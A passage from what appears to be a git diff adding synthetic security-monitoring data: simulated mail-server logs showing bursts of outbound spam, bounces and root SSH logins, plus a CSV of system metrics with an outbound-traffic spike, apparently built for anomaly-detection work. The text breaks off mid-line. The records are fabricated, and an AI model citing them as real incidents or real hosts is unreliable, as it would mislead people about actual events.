relay=mx.random-emails.net[198.51.100.15]:25, delay=7.6, delays=0.1/0/7.4/0.1, dsn=5.1.1, status=bounced (host mx.random-emails.net[198.51.100.15] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:05:40 mail-server postfix/smtp[22574]: F72AB8017E: to=, relay=mx.dodgy-deals.biz[198.51.100.5]:25, delay=2.5, delays=0.05/0/0.5/1.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 270A352697) +Aug 26 14:05:40 mail-server postfix/smtp[23106]: CEE142EF0B: to=, relay=mx.random-emails.net[198.51.100.8]:25, delay=1.5, delays=0.05/0/0.5/0.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7A963FFAE8) +Aug 26 14:05:45 mail-server postfix/smtp[15848]: 9013E01637: to=, relay=mx.random-emails.net[198.51.100.11]:25, delay=6.0, delays=0.1/0/5.8/0.1, dsn=5.1.1, status=bounced (host mx.random-emails.net[198.51.100.11] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:05:45 mail-server postfix/smtp[17599]: EC31D22A02: to=, relay=mx.spam-target.com[198.51.100.5]:25, delay=1.3, delays=0.05/0/0.5/0.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2B3001A40A) +Aug 26 14:05:45 mail-server postfix/smtp[18856]: 3C8F4B3599: to=, relay=mx.random-emails.net[198.51.100.7]:25, delay=4.1, delays=0.1/0/3.9/0.1, dsn=5.1.1, status=bounced (host mx.random-emails.net[198.51.100.7] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:05:50 mail-server postfix/smtp[10940]: B5DB1CEB08: to=, relay=mx.random-emails.net[198.51.100.18]:25, delay=2.5, delays=0.05/0/0.5/1.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 48E6AB0A09) +Aug 26 14:05:50 mail-server postfix/smtp[11853]: 4E8AC833F9: to=, relay=mx.dodgy-deals.biz[198.51.100.5]:25, delay=1.3, delays=0.05/0/0.5/0.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 59533734C0) +Aug 26 14:05:50 mail-server postfix/smtp[16445]: 5495B42E6A: to=, relay=mx.spam-target.com[198.51.100.14]:25, delay=2.5, delays=0.05/0/0.5/1.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 77C560E7C8) +Aug 26 14:05:50 mail-server postfix/smtp[21235]: 6AA9DEEDC8: to=, relay=mx.dodgy-deals.biz[198.51.100.19]:25, delay=4.1, delays=0.1/0/3.9/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.19] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:05:50 mail-server postfix/smtp[22570]: A1F8E3434A: to=, relay=mx.dodgy-deals.biz[198.51.100.5]:25, delay=4.4, delays=0.1/0/4.2/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.5] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:05:55 mail-server postfix/smtp[11123]: 79689C05A2: to=, relay=mx.get-rich-quick.org[198.51.100.2]:25, delay=2.1, delays=0.05/0/0.5/1.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as DD736B37D6) +Aug 26 14:05:55 mail-server postfix/smtp[19863]: AD6EE36F5D: to=, relay=mx.random-emails.net[198.51.100.10]:25, delay=2.9, delays=0.05/0/0.5/2.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A81C30EB1E) +Aug 26 14:05:55 mail-server postfix/smtp[21320]: 425D0BB37D: to=, relay=mx.get-rich-quick.org[198.51.100.18]:25, delay=2.3, delays=0.05/0/0.5/1.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 689CDB03D0) +Aug 26 14:05:55 mail-server postfix/smtp[22524]: EB1E465E2B: to=, relay=mx.get-rich-quick.org[198.51.100.16]:25, delay=2.9, delays=0.05/0/0.5/2.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 253AC7BFBE) +Aug 26 14:05:55 mail-server postfix/smtp[24284]: 0B84A2AF9F: to=, relay=mx.dodgy-deals.biz[198.51.100.3]:25, delay=5.5, delays=0.1/0/5.3/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.3] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:06:00 mail-server postfix/smtp[12021]: CFC4816EEE: to=, relay=mx.dodgy-deals.biz[198.51.100.11]:25, delay=5.3, delays=0.1/0/5.1/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.11] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:06:00 mail-server postfix/smtp[13649]: 103C196E21: to=, relay=mx.get-rich-quick.org[198.51.100.12]:25, delay=7.7, delays=0.1/0/7.5/0.1, dsn=5.1.1, status=bounced (host mx.get-rich-quick.org[198.51.100.12] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:06:00 mail-server postfix/smtp[24268]: D7EE5357FB: to=, relay=mx.spam-target.com[198.51.100.3]:25, delay=2.0, delays=0.05/0/0.5/1.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 35D88FA2CE) +Aug 26 14:06:05 mail-server postfix/smtp[14423]: 11E3661D05: to=, relay=mx.spam-target.com[198.51.100.6]:25, delay=7.2, delays=0.1/0/7.0/0.1, dsn=5.1.1, status=bounced (host mx.spam-target.com[198.51.100.6] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:06:05 mail-server postfix/smtp[16542]: 88A5FCFAAA: to=, relay=mx.random-emails.net[198.51.100.9]:25, delay=1.2, delays=0.05/0/0.5/0.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FD38551414) +Aug 26 14:06:05 mail-server postfix/smtp[18314]: 1556B80B16: to=, relay=mx.get-rich-quick.org[198.51.100.11]:25, delay=2.8, delays=0.05/0/0.5/2.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 02BB6C7F24) +Aug 26 14:06:05 mail-server postfix/smtp[20319]: C603B98D65: to=, relay=mx.dodgy-deals.biz[198.51.100.13]:25, delay=7.0, delays=0.1/0/6.8/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.13] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:06:05 mail-server postfix/smtp[21143]: 36050A09BE: to=, relay=mx.random-emails.net[198.51.100.7]:25, delay=1.2, delays=0.05/0/0.5/0.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7DFEFC98DB) +Aug 26 14:06:05 mail-server postfix/smtp[23273]: 88A773DA59: to=, relay=mx.dodgy-deals.biz[198.51.100.10]:25, delay=1.1, delays=0.05/0/0.5/0.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 60C4FB49C4) +Aug 26 14:06:05 mail-server systemd[1]: Starting daily clean up activities... +Aug 26 14:06:10 mail-server postfix/smtp[13184]: DA71A3BAC1: to=, relay=mx.dodgy-deals.biz[198.51.100.5]:25, delay=2.2, delays=0.05/0/0.5/1.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7886751E64) +Aug 26 14:06:10 mail-server postfix/smtp[13364]: 100E298356: to=, relay=mx.random-emails.net[198.51.100.2]:25, delay=1.7, delays=0.05/0/0.5/1.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FC0157BDA3) +Aug 26 14:06:10 mail-server postfix/smtp[17460]: 575A21F581: to=, relay=mx.dodgy-deals.biz[198.51.100.2]:25, delay=1.4, delays=0.05/0/0.5/0.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 03FA059574) +Aug 26 14:06:10 mail-server postfix/smtp[20724]: 675314BA35: to=, relay=mx.random-emails.net[198.51.100.10]:25, delay=1.8, delays=0.05/0/0.5/1.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as AB0D7AA003) +Aug 26 14:06:10 mail-server postfix/smtp[21866]: 4FE3FA67FB: to=, relay=mx.get-rich-quick.org[198.51.100.16]:25, delay=1.9, delays=0.05/0/0.5/1.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 958C945B1C) +Aug 26 14:06:10 mail-server postfix/smtp[23820]: 44533A4D9D: to=, relay=mx.get-rich-quick.org[198.51.100.7]:25, delay=1.8, delays=0.05/0/0.5/1.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C3D2D32D32) +Aug 26 14:06:15 mail-server postfix/smtp[14513]: 3371DE4B20: to=, relay=mx.get-rich-quick.org[198.51.100.3]:25, delay=1.4, delays=0.05/0/0.5/0.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BB3E6EE791) +Aug 26 14:06:15 mail-server postfix/smtp[15998]: 59598C0898: to=, relay=mx.get-rich-quick.org[198.51.100.10]:25, delay=1.8, delays=0.05/0/0.5/1.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3AAF14AC4A) +Aug 26 14:06:15 mail-server postfix/smtp[16958]: 78736A63BF: to=, relay=mx.spam-target.com[198.51.100.13]:25, delay=2.8, delays=0.05/0/0.5/2.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B5EE213856) +Aug 26 14:06:15 mail-server postfix/smtp[20326]: C6F503ED4B: to=, relay=mx.dodgy-deals.biz[198.51.100.2]:25, delay=2.0, delays=0.05/0/0.5/1.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D43F44E932) +Aug 26 14:06:15 mail-server postfix/smtp[21219]: 4EC20A530E: to=, relay=mx.get-rich-quick.org[198.51.100.7]:25, delay=1.4, delays=0.05/0/0.5/0.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D2A7F2C61A) +Aug 26 14:06:15 mail-server postfix/smtp[22054]: 4EBFF83205: to=, relay=mx.spam-target.com[198.51.100.19]:25, delay=1.4, delays=0.05/0/0.5/0.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5A2047D1AF) +Aug 26 14:06:15 mail-server postfix/smtp[24697]: 6621CFE38C: to=, relay=mx.get-rich-quick.org[198.51.100.15]:25, delay=2.6, delays=0.05/0/0.5/2.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E7216D40C8) +Aug 26 14:06:15 mail-server sshd[11376]: Accepted password for user root from 10.0.2.2 port 54322 ssh2 +Aug 26 14:06:20 mail-server postfix/smtp[18374]: 8BE2BFA1DB: to=, relay=mx.get-rich-quick.org[198.51.100.3]:25, delay=4.1, delays=0.1/0/3.9/0.1, dsn=5.1.1, status=bounced (host mx.get-rich-quick.org[198.51.100.3] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:06:20 mail-server postfix/smtp[18943]: 6A1069A767: to=, relay=mx.dodgy-deals.biz[198.51.100.14]:25, delay=5.4, delays=0.1/0/5.2/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.14] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:06:20 mail-server postfix/smtp[19256]: 968980F601: to=, relay=mx.dodgy-deals.biz[198.51.100.10]:25, delay=1.2, delays=0.05/0/0.5/0.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1DA84074CF) +Aug 26 14:06:25 mail-server postfix/smtp[11373]: 6936E7F9C2: to=, relay=mx.dodgy-deals.biz[198.51.100.16]:25, delay=2.0, delays=0.05/0/0.5/1.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 69C712AD55) +Aug 26 14:06:25 mail-server postfix/smtp[13880]: 50E3F324DF: to=, relay=mx.get-rich-quick.org[198.51.100.7]:25, delay=6.2, delays=0.1/0/6.0/0.1, dsn=5.1.1, status=bounced (host mx.get-rich-quick.org[198.51.100.7] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:06:25 mail-server postfix/smtp[15243]: DC6D8D29AC: to=, relay=mx.random-emails.net[198.51.100.11]:25, delay=2.8, delays=0.05/0/0.5/2.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 118DFB9949) +Aug 26 14:06:25 mail-server postfix/smtp[22720]: 31F3F81987: to=, relay=mx.dodgy-deals.biz[198.51.100.4]:25, delay=4.3, delays=0.1/0/4.1/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.4] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:06:25 mail-server postfix/smtp[24903]: B3B8EAAF73: to=, relay=mx.dodgy-deals.biz[198.51.100.7]:25, delay=1.0, delays=0.05/0/0.5/0.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2D0ED515C7) +Aug 26 14:06:30 mail-server postfix/smtp[16910]: 906FED24B0: to=, relay=mx.random-emails.net[198.51.100.13]:25, delay=2.5, delays=0.05/0/0.5/1.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5D4D9D2C18) +Aug 26 14:06:30 mail-server postfix/smtp[17909]: A4A63AEFF5: to=, relay=mx.spam-target.com[198.51.100.4]:25, delay=2.4, delays=0.05/0/0.5/1.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E6FD8ABCFE) +Aug 26 14:06:30 mail-server postfix/smtp[18301]: 309F77AE2D: to=, relay=mx.get-rich-quick.org[198.51.100.17]:25, delay=1.2, delays=0.05/0/0.5/0.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 33D85187D8) +Aug 26 14:06:30 mail-server postfix/smtp[19163]: 9791E437BE: to=, relay=mx.get-rich-quick.org[198.51.100.10]:25, delay=1.8, delays=0.05/0/0.5/1.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CD2F13C6A3) +Aug 26 14:06:30 mail-server postfix/smtp[22234]: 3BD4E54153: to=, relay=mx.spam-target.com[198.51.100.12]:25, delay=2.8, delays=0.05/0/0.5/2.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B9C651AF10) +Aug 26 14:06:35 mail-server postfix/smtp[10813]: 7C9EE2A72A: to=, relay=mx.dodgy-deals.biz[198.51.100.9]:25, delay=1.1, delays=0.05/0/0.5/0.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8F733D244A) +Aug 26 14:06:35 mail-server postfix/smtp[10910]: B1E8E5D510: to=, relay=mx.random-emails.net[198.51.100.4]:25, delay=2.5, delays=0.05/0/0.5/1.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2266D8EAAE) +Aug 26 14:06:35 mail-server postfix/smtp[12314]: BCB74C0E84: to=, relay=mx.get-rich-quick.org[198.51.100.18]:25, delay=2.3, delays=0.05/0/0.5/1.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 378DE109A7) +Aug 26 14:06:35 mail-server postfix/smtp[12441]: E78F7E1797: to=, relay=mx.random-emails.net[198.51.100.12]:25, delay=1.1, delays=0.05/0/0.5/0.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 22843EAB9E) +Aug 26 14:06:35 mail-server postfix/smtp[14119]: D85818F03E: to=, relay=mx.random-emails.net[198.51.100.6]:25, delay=1.9, delays=0.05/0/0.5/1.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 02264B0813) +Aug 26 14:06:35 mail-server postfix/smtp[14874]: 8C359E5B74: to=, relay=mx.get-rich-quick.org[198.51.100.8]:25, delay=1.5, delays=0.05/0/0.5/0.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FD1247E45D) +Aug 26 14:06:35 mail-server postfix/smtp[15406]: 27DFD5BB10: to=, relay=mx.random-emails.net[198.51.100.5]:25, delay=2.2, delays=0.05/0/0.5/1.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 059C1692F3) +Aug 26 14:06:40 mail-server kernel: [54104].684 INFO: task jbd2/sda1-8:12 blocked for more than 120 seconds. +Aug 26 14:06:45 mail-server kernel: [54104].684 INFO: task jbd2/sda1-8:12 blocked for more than 120 seconds. +Aug 26 14:06:50 mail-server postfix/smtp[8463]: 3F972DAD42: to=, relay=mx.spam-target.com[198.51.100.12]:25, delay=2.6, delays=0.05/0/0.5/2.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 45DDAE8274) +Aug 26 14:06:55 mail-server sshd[11376]: Accepted password for user root from 10.0.2.2 port 54322 ssh2 +Aug 26 14:07:00 mail-server postfix/smtp[8344]: E2DEE3A81A: to=, relay=mx.spam-target.com[198.51.100.12]:25, delay=2.5, delays=0.05/0/0.5/1.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B04FF012B1) +Aug 26 14:07:05 mail-server kernel: [54104].684 INFO: task jbd2/sda1-8:12 blocked for more than 120 seconds. +Aug 26 14:07:10 mail-server CRON[6969]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:07:15 mail-server postfix/smtp[8449]: 13BE8CA00C: to=, relay=mx.random-emails.net[198.51.100.19]:25, delay=2.9, delays=0.05/0/0.5/2.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4B656EE446) +Aug 26 14:07:20 mail-server postfix/smtp[9263]: A792734DFD: to=, relay=mx.dodgy-deals.biz[198.51.100.4]:25, delay=2.7, delays=0.05/0/0.5/2.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F66EAE5907) +Aug 26 14:07:25 mail-server kernel: [54104].684 INFO: task jbd2/sda1-8:12 blocked for more than 120 seconds. diff --git a/mali_dataset/scenario_5/mali_5_15.csv b/mali_dataset/scenario_5/mali_5_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..917e7a79cb1adeab8cf5ee6f0d95838d57e94c13 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_out +2025-07-02T12:00:00Z,12.86,30.94,6.12,1.21 +2025-07-02T12:00:05Z,10.84,30.5,14.55,0.96 +2025-07-02T12:00:10Z,12.62,34.28,8.62,1.27 +2025-07-02T12:00:15Z,14.03,34.79,9.63,0.75 +2025-07-02T12:00:20Z,12.92,33.06,10.91,0.65 +2025-07-02T12:00:25Z,12.45,31.73,14.3,0.87 +2025-07-02T12:00:30Z,10.4,31.85,12.78,1.31 +2025-07-02T12:00:35Z,11.31,30.99,5.19,0.6 +2025-07-02T12:00:40Z,13.87,34.35,14.18,1.39 +2025-07-02T12:00:45Z,14.95,33.16,13.27,0.8 +2025-07-02T12:00:50Z,11.92,32.6,11.0,0.8 +2025-07-02T12:00:55Z,14.59,32.46,6.52,0.93 +2025-07-02T12:01:00Z,12.84,32.9,14.07,1.36 +2025-07-02T12:01:05Z,11.86,30.81,8.33,1.36 +2025-07-02T12:01:10Z,12.26,32.34,7.72,0.69 +2025-07-02T12:01:15Z,45.44,35.63,4.09,148.37 +2025-07-02T12:01:20Z,42.56,33.29,9.4,106.1 +2025-07-02T12:01:25Z,31.33,37.12,6.83,105.32 +2025-07-02T12:01:30Z,32.37,33.89,8.68,126.5 +2025-07-02T12:01:35Z,41.18,33.82,7.98,108.86 +2025-07-02T12:01:40Z,45.74,33.18,4.96,114.83 +2025-07-02T12:01:45Z,42.32,36.75,8.95,101.28 +2025-07-02T12:01:50Z,44.93,34.62,4.76,146.2 +2025-07-02T12:01:55Z,30.74,35.2,4.0,117.52 +2025-07-02T12:02:00Z,58.26,34.36,5.75,87.91 +2025-07-02T12:02:05Z,40.66,33.72,7.87,104.76 +2025-07-02T12:02:10Z,58.71,33.67,6.39,101.18 +2025-07-02T12:02:15Z,56.72,33.73,6.59,132.39 +2025-07-02T12:02:20Z,47.33,32.75,8.07,113.26 +2025-07-02T12:02:25Z,34.38,32.06,5.63,130.71 +2025-07-02T12:02:30Z,62.06,32.39,8.94,96.59 +2025-07-02T12:02:35Z,59.12,33.2,8.02,86.88 +2025-07-02T12:02:40Z,47.9,36.05,8.4,101.36 +2025-07-02T12:02:45Z,52.66,36.64,8.86,127.02 +2025-07-02T12:02:50Z,39.49,35.33,3.55,114.08 +2025-07-02T12:02:55Z,30.19,37.06,5.52,144.53 +2025-07-02T12:03:00Z,35.28,34.27,9.78,112.77 +2025-07-02T12:03:05Z,54.7,35.49,7.59,102.84 +2025-07-02T12:03:10Z,43.06,32.28,3.3,131.79 +2025-07-02T12:03:15Z,64.37,36.05,3.07,92.98 +2025-07-02T12:03:20Z,30.92,35.92,3.11,114.62 +2025-07-02T12:03:25Z,57.36,34.72,9.05,80.86 +2025-07-02T12:03:30Z,46.31,37.21,5.2,149.51 +2025-07-02T12:03:35Z,53.05,33.34,7.96,112.37 +2025-07-02T12:03:40Z,46.93,32.38,5.87,123.1 +2025-07-02T12:03:45Z,64.26,34.94,7.12,97.04 +2025-07-02T12:03:50Z,64.14,33.02,6.16,117.58 +2025-07-02T12:03:55Z,63.37,34.24,8.56,114.49 +2025-07-02T12:04:00Z,60.85,35.89,7.86,90.08 +2025-07-02T12:04:05Z,61.45,32.54,9.89,105.32 +2025-07-02T12:04:10Z,30.11,36.33,9.09,128.58 +2025-07-02T12:04:15Z,54.32,34.46,3.57,99.22 +2025-07-02T12:04:20Z,48.48,34.33,4.51,92.93 +2025-07-02T12:04:25Z,43.42,36.61,8.52,100.52 +2025-07-02T12:04:30Z,47.67,33.53,7.28,87.94 +2025-07-02T12:04:35Z,47.24,32.95,4.76,100.94 +2025-07-02T12:04:40Z,45.31,36.96,8.58,112.63 +2025-07-02T12:04:45Z,54.39,36.47,6.87,144.77 +2025-07-02T12:04:50Z,54.17,33.81,5.65,127.4 +2025-07-02T12:04:55Z,40.0,36.92,6.26,96.86 +2025-07-02T12:05:00Z,52.76,33.89,7.57,82.37 +2025-07-02T12:05:05Z,40.65,34.89,6.53,80.1 +2025-07-02T12:05:10Z,34.4,34.19,6.42,140.36 +2025-07-02T12:05:15Z,36.59,37.89,4.12,99.23 +2025-07-02T12:05:20Z,56.96,32.46,9.31,137.42 +2025-07-02T12:05:25Z,30.44,33.18,4.09,91.71 +2025-07-02T12:05:30Z,63.18,32.27,5.78,137.04 +2025-07-02T12:05:35Z,62.13,37.4,5.93,103.67 +2025-07-02T12:05:40Z,53.52,32.67,5.75,112.39 +2025-07-02T12:05:45Z,47.89,34.44,8.62,139.18 +2025-07-02T12:05:50Z,62.8,36.84,9.91,135.42 +2025-07-02T12:05:55Z,49.52,33.87,9.04,118.72 +2025-07-02T12:06:00Z,33.66,33.46,9.11,128.64 +2025-07-02T12:06:05Z,49.09,33.3,8.65,142.87 +2025-07-02T12:06:10Z,39.58,33.79,9.91,84.44 +2025-07-02T12:06:15Z,11.25,33.87,10.14,0.82 +2025-07-02T12:06:20Z,10.41,34.54,11.18,1.07 +2025-07-02T12:06:25Z,14.11,30.44,11.59,1.47 +2025-07-02T12:06:30Z,13.05,31.11,11.56,0.99 +2025-07-02T12:06:35Z,14.51,34.22,10.91,1.02 +2025-07-02T12:06:40Z,12.12,31.82,10.43,1.38 +2025-07-02T12:06:45Z,13.57,34.35,9.24,0.79 +2025-07-02T12:06:50Z,10.36,31.06,7.0,1.46 +2025-07-02T12:06:55Z,14.99,32.06,13.2,1.03 +2025-07-02T12:07:00Z,13.04,34.48,5.3,1.38 +2025-07-02T12:07:05Z,11.25,32.23,6.22,1.34 +2025-07-02T12:07:10Z,13.85,32.89,12.01,0.94 +2025-07-02T12:07:15Z,10.61,31.64,8.09,0.86 +2025-07-02T12:07:20Z,12.59,32.65,10.87,1.05 +2025-07-02T12:07:25Z,11.86,30.16,5.0,1.22 diff --git a/mali_dataset/scenario_5/mali_5_15.log b/mali_dataset/scenario_5/mali_5_15.log new file mode 100644 index 0000000000000000000000000000000000000000..43efdbe889df2df6dcaf2aa20136ffa8d890e71e --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_15.log @@ -0,0 +1,195 @@ +Jul 02 12:00:00 mail-server CRON[2049]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:00 mail-server systemd[1]: Starting daily clean up activities... +Jul 02 12:00:25 mail-server sshd[9193]: Accepted publickey for user root from 124.172.43.167 port 41465 ssh2: RSA SHA256:pnf3eg1bxk7wuk5ic6ve5e36b1fukvnspck06s09sjw8ly7vl5gdm1kdmb82cuj7 +Jul 02 12:00:40 mail-server CRON[6033]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:15 mail-server postfix/smtp[10268]: TBUB8IS6YH: to=, relay=pcjgnvhlqa.org[252.141.32.107]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:15 mail-server postfix/smtp[12043]: YX5WWBSFQ8: to=, relay=xlcdl.net[188.32.227.236]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:15 mail-server postfix/smtp[16055]: 67596MXWX9: to=, relay=ayyfky.com[234.81.199.228]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:15 mail-server postfix/smtp[19976]: K9QBXB67D6: to=, relay=uyzdv.com[96.29.219.240]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:15 mail-server systemd[1]: Starting daily clean up activities... +Jul 02 12:01:20 mail-server CRON[5580]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:20 mail-server postfix/smtp[13188]: GDHUP0Y3QN: to=, relay=tnxyyk.org[158.77.232.100]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:20 mail-server postfix/smtp[14689]: 41QRP7LW9P: to=, relay=ehsygpybk.org[156.51.23.100]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:20 mail-server postfix/smtp[16192]: EHAL4BOY5S: to=, relay=pevqynwtvf.net[131.19.70.236]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:20 mail-server postfix/smtp[18166]: ZLMRLPH2HK: to=, relay=wgogy.com[14.110.77.151]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:25 mail-server postfix/smtp[14263]: DGDED4XBM7: to=, relay=lkwhojcd.com[246.141.32.29]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:25 mail-server postfix/smtp[19342]: RXO87EGTBG: to=, relay=kbqeecchnk.org[87.106.218.49]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:30 mail-server postfix/smtp[10513]: FP8W6SHL8Z: to=, relay=iawja.org[144.119.235.56]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:30 mail-server postfix/smtp[14459]: UOHDJ4QQXS: to=, relay=xafxcsu.org[52.12.159.64]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:35 mail-server postfix/smtp[11782]: VQPE2Q9BOR: to=, relay=igvheljpsx.io[147.107.255.40]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:35 mail-server postfix/smtp[18832]: JX4NM9H2CO: to=, relay=fwjkr.com[140.118.102.26]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:35 mail-server postfix/smtp[19999]: Y0G4MTO95P: to=, relay=hkfunz.org[155.253.106.210]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:40 mail-server postfix/smtp[11424]: WR6SDHYHW6: to=, relay=oqtywrx.com[187.213.173.86]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:40 mail-server postfix/smtp[14036]: SABD71D7EW: to=, relay=asnjfpwjpn.net[184.72.108.162]:25, dsn=5.1.1, status=bounced (host asnjfpwjpn.net[184.72.108.162] said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Jul 02 12:01:40 mail-server postfix/smtp[16526]: 7ECI3XWMMI: to=, relay=ztvpcc.org[45.30.40.75]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:40 mail-server postfix/smtp[17457]: WGHLQJF8K0: to=, relay=ferphrbug.net[51.197.158.78]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:45 mail-server postfix/smtp[10483]: L3YYNWVILJ: to=, relay=stawjvmqua.com[190.147.232.55]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:45 mail-server postfix/smtp[12521]: 8NIW90S70J: to=, relay=ztswupvd.com[132.7.132.73]:25, dsn=5.1.1, status=bounced (host ztswupvd.com[132.7.132.73] said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Jul 02 12:01:45 mail-server postfix/smtp[18252]: 0P3U0PZNAD: to=, relay=okkeu.org[139.175.119.169]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:50 mail-server postfix/smtp[10240]: R9F5S0JK8V: to=, relay=gpycto.org[167.201.121.196]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:50 mail-server postfix/smtp[13393]: NF45UL8UQ4: to=, relay=bzvcfg.net[97.238.63.238]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:50 mail-server postfix/smtp[15955]: 5OCDC03263: to=, relay=kffvr.io[223.29.72.115]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:50 mail-server postfix/smtp[16523]: VR85UFI3PC: to=, relay=hnzqyef.org[2.59.76.199]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:55 mail-server postfix/smtp[11118]: AO9UES958G: to=, relay=pvabtemmr.io[109.121.145.92]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:01:55 mail-server postfix/smtp[12058]: VXCV99KYCH: to=, relay=fkjegznq.com[222.0.206.174]:25, dsn=2.0.0, status=sent (250 OK, message accepted for 